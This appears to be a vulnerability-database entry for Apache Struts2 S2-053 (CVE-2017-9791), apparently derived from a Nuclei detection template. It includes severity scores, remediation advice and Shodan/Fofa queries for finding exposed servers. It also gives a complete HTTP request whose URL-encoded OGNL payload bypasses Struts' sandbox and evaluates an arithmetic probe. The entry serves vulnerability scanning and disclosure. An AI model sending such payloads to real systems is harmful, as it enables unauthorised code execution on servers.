| Title | Apache Struts2 S2-053 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Remote code execution |
| Remediation | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94239 |
| CVE ID | CVE-2017-9791 |
| CWE ID | CWE-20 |
| Shodan Query | title:"Struts2 Showcase"http.title:"struts2 showcase"http.html:"struts problem report"http.html:"apache struts" |
| Fofa Query | title="Struts2 Showcase"title="struts2 showcase"body="apache struts"body="struts problem report" |
| Tags | cve2017 cve apache rce struts kev vkev vuln |
Apache Struts 2.1.x and 2.3.x with the Struts 1 plugin might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
POST /integration/saveGangster.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 1191
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%2842096%2a44453%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9791.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-9791.pcap
N/AN/A